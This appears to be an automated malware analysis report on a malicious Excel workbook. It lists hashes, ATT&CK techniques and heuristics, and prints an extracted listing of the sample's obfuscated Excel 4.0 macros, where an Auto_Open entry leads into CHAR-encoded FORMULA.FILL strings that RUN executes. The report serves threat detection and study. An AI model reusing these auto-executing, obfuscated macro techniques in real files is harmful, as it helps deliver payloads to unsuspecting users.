Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 69da9534a601dd66…

MALICIOUS

Office (OLE)

170.0 KB Created: 2020-05-13 12:30:26 Authoring application: Microsoft Excel First seen: 2020-09-15
MD5: 057ae5c2eeab43633a50813e6a8b6e41 SHA-1: 17a4fcd74348a66b548f558a066e3bc9d64a7122 SHA-256: 69da9534a601dd66c8901ab38466767997fb4f16e455d0e09a0c16c09b9c14ed
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open entry, which is a critical finding. The macros utilize dangerous functions like RUN and FORMULA.FILL, indicating an intent to execute arbitrary commands. The presence of the RUN function strongly suggests the macro is designed to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 128952 bytes
SHA-256: 16dedd6b53976db15e0c417e71c3ddab1e9cd88c58b2100c9533b9e24101df94
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!FO1487 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,GC24,"",-17.86000976562500142109
'  Sheet,IZ51,"",144.30000000000001136868
'  Sheet,IG87,"",-18.00000000000000000000
'  Sheet,GW121,"",-2.62688172043010759182
'  Sheet,FK215,"",3.38235294117647056211
'  Sheet,FG445,"",2.55855855855855862657
'  Sheet,GV494,"",960.00000000000000000000
'  Sheet,IV504,"",-84.00000000000000000000
'  Sheet,EI519,"",0.10958904109589040488
'  Sheet,R625,"FORMULA.FILL(CHAR(EA49902+FI12519)&CHAR(EA49902/GP58925)&CHAR(BE52501*BI6568)&CHAR(HU24899-GI50442)&CHAR(Q13575-GE2310)&CHAR(HU24899-CX35368)&CHAR(Q13575+BI60753)&CHAR(CV22689/BT15289)&CHAR(GL15894+JP53828)&CHAR(HY36102*FB21696)&CHAR(BE52501+GI13626)&CHAR(CV22689/JK44416)&CHAR(GL15894+GN52295)&CHAR(EA49902-HU55021)&CHAR(O41648+EE36153)&CHAR(FD48716/JG3866)&CHAR(O41648*GH24287)&CHAR(GL15894/EK3598)&CHAR(HU24899+JK30784)&CHAR(Q13575/T60334)&CHAR(EA49902/HO36891)&CHAR(EA49902+FN13283),JF33776)",""
'  Sheet,R626,RUN(DA18633),""
'  Sheet,GU653,"",53.00000000000000000000
'  Sheet,CF655,"",-2.81818181818181834331
'  Sheet,DN695,"",-0.04403409090909091161
'  Sheet,IU703,"",0.52095808383233532801
'  Sheet,II726,"",301.00000000000000000000
'  Sheet,FK841,"FORMULA.FILL(CHAR(IV962+IE57487)&CHAR(Q63175/GV6391)&CHAR(IV962+CH39095)&CHAR(IO51547*BW39409)&CHAR(BS6537/HB58097)&CHAR(GX1273*ET64680)&CHAR(IO51547-EW34651)&CHAR(IT59866/GY44170)&CHAR(BS6537-FD33816)&CHAR(JI44265/DS49142)&CHAR(IT59866+DA40067)&CHAR(EP42180+BV32317)&CHAR(JI44265+EZ62622)&CHAR(FZ19161+J30304)&CHAR(EP42180-FI11612)&CHAR(Q63175+HT54079)&CHAR(FZ19161*JN57083)&CHAR(BS6537*GK46560)&CHAR(JI44265*BZ19701)&CHAR(IV962*FS54361)&CHAR(IV962/IH14609)&CHAR(IT59866/JS29298)&CHAR(IT59866+DW13103)&CHAR(BS6537-I46123)&CHAR(JI44265/Q12703)&CHAR(Q63175*EW31246)&CHAR(IV962+GU10913)&CHAR(IU62546*IQ57193)&CHAR(Q63175+IV17673)&CHAR(GX1273*BX25026)&CHAR(JI44265+BG51143)&CHAR(JI44265/CJ58319)&CHAR(IV962/HE32303)&CHAR(BS6537-GD35835)&CHAR(EP42180+BQ33743)&CHAR(JI44265-FB37737)&CHAR(BS6537-IC34332)&CHAR(IU62546+GN63037)&CHAR(IT59866*DL28752)&CHAR(JI44265*BT29334)&CHAR(FZ19161-IA15054)&CHAR(IO51547/JB36127)&CHAR(JI44265+CZ3092)&CHAR(IT59866*JQ17614),FK842)",""
'  Sheet,FK843,GOTO(FT19481),""
'  Sheet,BP865,"",-57.00000000000000000000
'  Sheet,GB931,"",0.49494949494949497248
'  Sheet,GP940,"",0.32079207920792085496
'  Sheet,BG1023,"",-397.00000000000000000000
'  Sheet,P1068,"",-14.00000000000000000000
'  Sheet,Z1100,"",-0.21982758620689654694
'  Sheet,EC1127,"",-5.27272727272727248504
'  Sheet,EZ1141,"",0.10958904109589040488
'  Sheet,CG1284,"",509.00000000000000000000
'  Sheet,GW1343,"",0.09360730593607305416
'  Sheet,CH1370,"",-0.45845272206303722129
'  Sheet,JN1413,"",-398.00000000000000000000
'  Sheet,BJ1439,"",0.20238095238095238360
'  Sheet,JQ1460,"",187.40015625000000909495
'  Sheet,FO1487,"SET.VALUE(FZ19161,GET.CELL(38,IZ64272)*-127.00000000000000000000/2)",""
'  Sheet,FO1488,RUN(BP32221),""
'  Sheet,FO1532,"",933.00000000000000000000
'  Sheet,HO1534,"",-2146.00000000000000000000
'  Sheet,EQ1543,"",575.00000000000000000000
'  Sheet,CV1576,"",-404.00000000000000000000
'  Sheet,CA1613,"",-11.60000976562499985789
'  Sheet,G1682,"",-144.00000000000000000000
'  Sheet,BY1708,"",-308.00000000000000000000
'  Sheet,B1738,"",-2146.00000000000000000000
'  Sheet,HP1759,"",354.00000000000000000000
'  Sheet,DH1802,"",-0.28243962341383543890
'  Sheet,BK1857,"",-43.59999999999999431566
'  Sheet,FG1863,"",398.00000000000000000000
'  Sheet,K1885,"",-17.45454545454545325356
'  Sheet,BC1992,"",546.00000000000000000000
'  Sheet,HI2054,"",-1.34860050890585259076
'  Sheet,FD2061,"",85.30007812499999886313
'  Sheet,JU2180,"",1.79569892473118275
... (truncated)